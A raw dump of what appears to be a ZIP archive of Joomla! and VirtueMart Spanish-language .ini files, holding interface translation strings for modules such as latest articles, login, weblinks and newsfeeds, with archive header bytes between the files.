%2$s)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="El último artículo modificado (Categoría %2$s)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Los %1$s últimos artículos modificados (Categoría %2$s)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Los últimos artículos modificados por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="El último artículo modificado por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Los %1$s últimos artículos modificados por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Los últimos artículos no modificados por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="El último artículo no modificado por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Los %1$s últimos artículos no modificados por mí (Categoría %2$)" MOD_LATEST_UNEXISTING="Inexistente" MOD_LATEST_XML_DESCRIPTION="Este módulo muestra una lista de los artículos más recientes que actualmente están publicados. Algunos de los que se muestren puede que ya hayan expirado, pero seguir siendo de los más recientes." PK@y>\!language/es-ES/es-ES.localise.phpnuW+A\S$ \\&language/es-ES/es-ES.mod_login.sys.ininuW+A; $Id: es-ES.mod_login.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LOGIN_XML_DESCRIPTION="Este módulo muestra un formulario de datos de acceso que permite introducir el nombre usuario y la contraseña. No se puede despublicar." MOD_LOGIN="Formulario de datos de acceso" MOD_LOGIN_LAYOUT_DEFAULT="Predeterminado" PK@y>\+language/es-ES/es-ES.com_categories.sys.ininuW+A; $Id: es-ES.com_categories.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CATEGORIES="Categorías" COM_CATEGORIES_XML_DESCRIPTION="Este componente le permite gestionar categorías" PK@y>\,|-language/es-ES/es-ES.plg_search_newsfeeds.ininuW+A; $Id: es-ES.plg_search_newsfeeds.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_NEWSFEEDS="Buscar - Canales electrónicos" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Cantidad de resultados de la búsqueda a mostrar" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Límite de la búsqueda" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Canales electrónicos" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Se habilitan las búsquedas de canales electrónicos" PK@y>\.language/es-ES/es-ES.plg_editors-xtd_image.ininuW+A; $Id: es-ES.plg_editors-xtd_image.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_IMAGE="Botón - Imagen" PLG_IMAGE_BUTTON_IMAGE="Imagen" PLG_IMAGE_XML_DESCRIPTION="Se muestra un botón que permite insertar imágenes dentro de un artículo. También se muestra una ventana emergente que permite configurar las propiedades de la imagen y subir nuevos archivos de imagen." PK@y>\='language/es-ES/es-ES.plg_system_p3p.ininuW+A; $Id: es-ES.plg_system_p3p.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_P3P_XML_DESCRIPTION="El plugin del sitema de política P3P permite enviar al encabezado HTML una cadena personalizada de etiqueta de política P3P. Es necesario en sesiones que tengan que trabajar sobre algunos navegadores como, por ejemplo, Internet Explorer 6 y 7." PLG_SYSTEM_P3P="Sistema - Política P3P" PLG_P3P_HEADER_DESCRIPTION="Introduzca su etiqueta de política P3P. Para más información consulte la plataforma de especificación para preferencias de privacidad: http://www.w3.org/TR/P3P/" PLG_P3P_HEADER_LABEL="Etiqueta P3P" PK@y>\(language/es-ES/es-ES.com_plugins.sys.ininuW+A; $Id: es-ES.com_plugins.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_PLUGINS="Gestor de plugins" COM_PLUGINS_XML_DESCRIPTION="Este componente gestiona los plugins de Joomla!" PK@y>\o*language/es-ES/es-ES.plg_system_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2010 - 2012 http://comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_FINDER="Sistema - Búsquedas inteligentes" PLG_SYSTEM_FINDER_XML_DESCRIPTION="Este plugin habilita las actualizaciones automáticas del contenido indexado para las búsquedas inteligentes." PK@y>\8#  /language/es-ES/es-ES.plg_editors_codemirror.ininuW+A; $Id: es-ES.plg_editors_codemirror.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Mostrar los números de línea" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Números de línea" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Sangrar - Hace que la pestaña se ajuste al sangrado de la selección o a la línea actual, usando reglas de análisis. Cambiar - Presionando las pestañas de sangrado de la línea actual (o selección), presionado 'shift-tab', se quita el sangrado." PLG_CODEMIRROR_FIELD_TABMODE_LABEL="Modo de tabulación" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Sangrar" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Cambiar" PLG_CODEMIRROR_XML_DESCRIPTION="Este plugin carga el editor CodeMirror." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror" PK@y>\q0ff,language/es-ES/es-ES.com_virtuemart.menu.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PK@y>\><%__3language/es-ES/es-ES.plg_content_emailcloak.sys.ininuW+A; $Id: es-ES.plg_content_emailcloak.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_EMAILCLOAK="Contenido - Enmascarar correo" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Se enmascaran todas las direcciones de correo electrónico en el contenido usando JavaScript, para evitar que sean vistas por los robots de spam." PK@y>\4)).language/es-ES/es-ES.plg_content_geshi.sys.ininuW+A; $Id: es-ES.plg_content_geshi.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_GESHI="Contenido - Remarcador de código (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Muestra código formateado en los artículos basado en el motor de remarcado de código GeSHi" PK@y>\$ラ''%language/es-ES/es-ES.com_weblinks.ininuW+A; $Id: es-ES.com_weblinks.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_WEBLINKS="Enlaces web" COM_WEBLINKS_ACCESS_HEADING="Acceso" COM_WEBLINKS_BATCH_OPTIONS="Procesar por lotes los enlaces seleccionados" COM_WEBLINKS_BATCH_TIP="Si se ha elegido copiar un enlace, se aplicará cualquier otra acción seleccionada en el enlace a copiar. En otro caso, se aplicarán todas todas las acciones al enlace seleccionado." COM_WEBLINKS_CATEGORIES_DESC="Esta configuración es la que se aplica en las opciones para categorías de enlaces web, siempre y cuando que no se haya cambiado para un elemento del menú específico." COM_WEBLINKS_CATEGORY_DESC="Esta configuración es la que se aplica en las opciones para una categoría de enlaces web, siempre y cuando que no se haya cambiado para un elemento del menú específico." COM_WEBLINKS_COMPONENT_DESC="Esta configuración es la que se aplica en las opciones para los enlaces web, siempre y cuando que no se haya cambiado para un elemento del menú específico, o desde la configuración de un enlace web específico." COM_WEBLINKS_COMPONENT_LABEL="Enlace web" COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="Esta configuración determina como se integrará el componente de los enlaces web con otras extensiones." COM_WEBLINKS_CONFIGURATION="Opciones del gestor de enlaces web" COM_WEBLINKS_EDIT_WEBLINK="Editar enlace web" COM_WEBLINKS_ERR_TABLES_NAME="Ya hay un enlace web con este nombre dentro de la misma categoría. Por favor, inténtelo otra vez." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Por favor, proporcione una URL válida" COM_WEBLINKS_ERR_TABLES_TITLE="El enlace web debe tener un título." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Otro enlace web de esta misma categoría tiene el mismo alias" COM_WEBLINKS_FIELD_ALIAS_DESC="El alias es un parámetro de uso interno. Si lo deja en blanco, Joomla! lo rellenará con un valor predeterminado basado en el título. Debe ser único para cada enlace web que esté en la misma categoría." COM_WEBLINKS_FIELD_CATEGORY_DESC="Elija una categoría para este enlace web" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Por favor, seleccione una categoría de enlaces web a mostrar" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Mostrar u ocultar la cantidad de enlaces web que hay dentro de cada categoría" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="Cantidad de enlaces web" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="Configurado en 'Sí', se registrará la cantidad de clics que se han realizado sobre el enlace web" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Cantidad de clics" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Mostrar u ocultar la descripción de más abajo" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Mostrar u ocultar las impresiones" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="Si ha elegido 'Icono' desde más arriba, seleccione un icono a usar con los enlaces web. Predeterminadamente es 'Icono'." COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Seleccionar icono" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Introduzca aquí un texto de introducción para el enlace web" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Introducción" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC="Mostrar u ocultar la descripción de los enlaces" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Descripción de enlaces" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Mostrar u ocultar otras categorías" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Otras categorías" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Mostrar u ocultar la opción de reporte para enlaces inválidos" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Reportes" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="Configurado en 'Sí', se registrará la cantidad de veces que se ha hecho clic sobre el enlace" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Cantidad de clics" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Introduzca una descripción para el enlace web." COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="Cantidad predeterminada de enlaces web a mostrar por página." COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="Cantidad de enlaces web por página" COM_WEBLINKS_FIELD_HEIGHT_DESC="La altura de la ventana emergente de destino. Predeterminadamente está asignado en '600x500' por si se deja alguno de los campos vacíos." COM_WEBLINKS_FIELD_HEIGHT_LABEL="Altura" COM_WEBLINKS_FIELD_ICON_DESC="Muestra un texto o un icono con los enlaces web. Predeterminadamente está configurado en 'Mostrar' y muestra un icono." COM_WEBLINKS_FIELD_ICON_LABEL="Texto/Icono/Solo el enlace web" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Icono" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Texto" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Solo el enlace web" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Asignar un idioma a este enlace web" COM_WEBLINKS_FIELD_MODIFIED_DESC="La fecha y hora en la que fue modificado por última vez" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Seleccione una categoría de enlaces web a mostrar" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Seleccionar una categoría" COM_WEBLINKS_FIELD_STATE_DESC="Asigne el estado de publicación" COM_WEBLINKS_FIELD_TARGET_DESC="Ventana de destino en el navegador, cuando se haga clic sobre el enlace" COM_WEBLINKS_FIELD_TARGET_LABEL="Abrir en" COM_WEBLINKS_FIELD_TITLE_DESC="El enlace web debe tener un título" COM_WEBLINKS_FIELD_URL_DESC="Debe introducir una URL." COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FIELD_VALUE_REPORTED="Reportado" COM_WEBLINKS_FIELD_WIDTH_DESC="Ancho de la ventana emergente de destino. Predeterminadamente está asignado en '600x500' por si se deja alguno de los campos vacíos." COM_WEBLINKS_FIELD_WIDTH_LABEL="Ancho" COM_WEBLINKS_FIELDSET_OPTIONS="Opciones básicas" COM_WEBLINKS_FILTER_CATEGORY="Filtrar categoría" COM_WEBLINKS_FILTER_STATE="Filtrar estado" COM_WEBLINKS_HITS_DESC="Cantidad de impresiones para este enlace web" COM_WEBLINKS_LIST_LAYOUT_DESC="Esta configuración es la que se aplica en las opciones de presentación del tipo lista, siempre y cuando que no se hayan cambiado desde un elemento del menú específico." COM_WEBLINKS_MANAGER_WEBLINK="Gestor de enlaces web: Enlace web" COM_WEBLINKS_MANAGER_WEBLINKS="Gestor de enlaces web: Enlaces web" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d enlaces web han sido archivados correctamente" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d enlace web ha sido archivado correctamente" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="Ningún enlace web ha sido desbloqueado correctamente" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d enlace web ha sido desbloqueado correctamente" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d enlaces web han sido desbloqueados correctamente" COM_WEBLINKS_N_ITEMS_DELETED="%d enlaces web han sido borrados correctamente" COM_WEBLINKS_N_ITEMS_DELETED_1="%d enlace web ha sido borrado correctamente" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d enlaces web han sido publicados correctamente" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d enlace web ha sido publicado correctamente" COM_WEBLINKS_N_ITEMS_TRASHED="%d enlaces web han sido movidos a la papelera correctamente" COM_WEBLINKS_N_ITEMS_TRASHED_1="%d enlace web ha sido movido a la papelera correctamente" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d enlaces web han sido despublicados correctamente" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d enlace web ha sido despublicado correctamente" COM_WEBLINKS_NEW_WEBLINK="Nuevo enlace web" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filtrar acceso -" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filtrar categoría -" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Fitrar estado -" COM_WEBLINKS_OPTIONS="Opciones" COM_WEBLINKS_ORDER_HEADING="Orden" COM_WEBLINKS_SAVE_SUCCESS="El enlace web ha sido guardado correctamente" COM_WEBLINKS_SEARCH_IN_TITLE="Buscar en el título" COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="Configurado en 'Mostrar', se mostrarán las categorías vacías. Una categoría solo se considera vacía cuando no contiene enlaces web o subcategorías." COM_WEBLINKS_SUBMENU_CATEGORIES="Categorías" COM_WEBLINKS_SUBMENU_WEBLINKS="Enlaces web" COM_WEBLINKS_XML_DESCRIPTION="Componente que permite gestionar los enlaces web" JGLOBAL_NO_ITEM_SELECTED="Sin enlaces web seleccionados" JGLOBAL_NEWITEMSLAST_DESC="Los enlaces web nuevos se ordenarán en última posición. El orden se puede cambiar una vez que se haya guardado este enlace web." JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="No tiene permiso para crear nuevos enlaces web en esta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="No tiene permiso para editar uno o más de uno de esos enlaces web." JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\It%%*language/es-ES/es-ES.plg_content_geshi.ininuW+A; $Id: es-ES.plg_content_geshi.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_GESHI="Contenido - Remarcador de código (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Muestra código formateado en los artículos basado en el motor de remarcado de código GeSHi" PK@y>\0 /language/es-ES/es-ES.plg_vmcustom_textinput.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_NAME_INFO="Titulo de campo de texto" VMCUSTOM_NAME_INFO_DESC="Establezca el título del texto o puede usar el nombre de un campo de virtuemart o agregarlo a un plugin de lenguaje para traducirlo" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER="Precio por letra" VMCUSTOM_TEXTINPUT_PRICE_BY_INPUT="Precio por texto" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER_OR_INPUT="Precio por letra o por texto" VMCUSTOM_TEXTINPUTPRICE_BY_LETTER_OR_INPUT_DESC="Al seleccionar Precio por letra, el precio extra se aplica por letra, si no el precio extra se aplica para el texto completo" VMCUSTOM_TEXTINPUT="Entrada de texto campo personalizable" VMCUSTOM_TEXTINPUT_NO_CHANGES_BE="Esto muestra un campo de texto, no cambios aqui" VMCUSTOM_TEXTINPUT_SIZE="Tamaño del campo" VMCUSTOM_TEXTINPUT_SIZE_DESC="Longitud del campo de texto" PK@y>\ QԎ2language/es-ES/es-ES.plg_authentication_joomla.ininuW+A; $Id: es-ES.plg_authentication_joomla.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTH_JOOMLA_XML_DESCRIPTION="Gestiona la autentificación predeterminada de usuarios de Joomla!
            ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PLG_AUTHENTICATION_JOOMLA="Autentificación - Joomla" PK@y>\ p''&language/es-ES/es-ES.com_newsfeeds.ininuW+A; $Id: es-ES.com_newsfeeds.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_NEWSFEEDS="Canales electrónicos" COM_NEWSFEEDS_BATCH_MENU_LABEL="Seleccione una categoría a mover o copiar" COM_NEWSFEEDS_BATCH_OPTIONS="Proceso por lotes para los canales electrónicos seleccionados" COM_NEWSFEEDS_BATCH_TIP="Si se ha elegido copiar un canal electrónico, se aplicará cualquier otra acción seleccionada en el canal electrónico a copiar. En otro caso, se aplicarán todas las acciones al canal electrónico." COM_NEWSFEEDS_CACHE_TIME_HEADING="Duración de la caché" COM_NEWSFEEDS_CATEGORIES_DESC="Esta configuración se aplica en las opciones de categorías para canales electrónicos, siempre y cuando que no se hayan cambiado desde un elemento del menú específico." COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Seleccionar un canal electrónico" COM_NEWSFEEDS_CONFIGURATION="Gestor de canales electrónicos" COM_NEWSFEEDS_EDIT_NEWSFEED="Editar canal electrónico" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="Ya hay otro canal electrónico usando este nombre dentro de la misma categoría" COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Opciones de visionado para la categoría del canal electrónico" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="El tiempo, en minutos, que pasará antes de que la caché del canal electrónico se actualice." COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Duración de la caché" COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Opciones de visionado para las categorías de canales electrónicos" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="La categoría a la que está asignado el canal electrónico" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Cantidad de caracteres a mostrar por noticia del canal electrónico." COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Cantidad de caracteres por noticia del canal electrónico" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Cantidad de caracteres a incluir de cada noticia mostrada por el canal electrónico" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Cantidad de caracteres por cada noticia del canal" COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="Esta configuración se aplica en la categoría del canal electrónico, siempre y cuando que no se haya cambiado para un elemento del menú específico." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="Esta configuración se aplica en las opciones para presetaciones del tipo lista, siempre y cuando que no se haya cambiado para un elemento del menú específico." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="Esta configuración se aplica para un solo canal electrónico, siempre y cuando que no se hayan cambiado para un elemento del menú específico; o, desde la edición o creación de un canal electrónico específico" COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="Canal electrónico" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="El orden a usar para mostrar el canal electrónico" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Orden del canal electrónico" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Opciones de visionado del canal electrónico" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Opciones de visionado del canal electrónico" COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Asigne un idioma para este canal electrónico" COM_NEWSFEEDS_FIELD_LINK_DESC="Enlace al canal electrónico" COM_NEWSFEEDS_FIELD_LINK_LABEL="Enlace" COM_NEWSFEEDS_FIELD_MODIFIED_DESC="La fecha y hora en la que fue modificado por última vez" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Mostrar u ocultar la cantidad de noticias que hay en cada canal electrónico (puede asignar este valor en cada canal electrónico)" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="Cantidad de noticias" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Cantidad de noticias a mostrar desde el canal electrónico" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Cantidad de noticias por canal electrónico" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Cantidad predeterminada de canales electrónicos a listar por página." COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="Cantidad de canales a listar" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Cantidad de canales electrónicos a mostrar" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Cantidad de canales electrónicos" COM_NEWSFEEDS_FIELD_OPTIONS="Opciones de canal electrónico" COM_NEWSFEEDS_FIELD_RTL_DESC="Seleccione la dirección del idioma del canal" COM_NEWSFEEDS_FIELD_RTL_LABEL="Dirección del idioma" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Elija una categoría de canal electrónico a mostrar" COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Seleccione un canal electrónico a mostrar" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="Canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Mostrar u ocultar la cantidad de canales electrónicos existentes en la categoría" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="Cantidad de canales electrónicos en la categoría" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Mostrar u ocultar la descripción del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Descripción del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Mostrar u ocultar la imagen del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Imagen del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Mostrar u ocultar el contenido de las noticias del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Contenido de las noticias del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Mostrar u ocultar las URLs de las noticias del canal electrónico" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Enlaces de las noticias del canal electrónico" COM_NEWSFEEDS_FIELD_VALUE_LTR="De izquierda a derecha" COM_NEWSFEEDS_FIELD_VALUE_RTL="De derecha a izquierda" COM_NEWSFEEDS_FIELD_VALUE_SITE="Dirección del idioma del sitio" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Opciones de visionado del canal electrónico" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Introduzca aquí el título de un canal electrónico a buscar." COM_NEWSFEEDS_MANAGER_NEWSFEED="Gestor de canales electrónicos: Canales electrónicos" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="Gestor de canales electrónicos" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d canales electrónicos archivados correctamente" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="El canal electrónico ha sido archivado correctamente" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="Ningún canal electrónico ha sido desbloqueado correctamente" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="El canal electrónico ha sido desbloqueado correctamente" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d canales electrónicos han sido desbloqueados correctamente" COM_NEWSFEEDS_N_ITEMS_DELETED="%d canales electrónicos han sido borrados correctamente" COM_NEWSFEEDS_N_ITEMS_DELETED_1="El canal electrónico ha sido borrado correctamente" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d canales electrónicos han sido publicados correctamente" 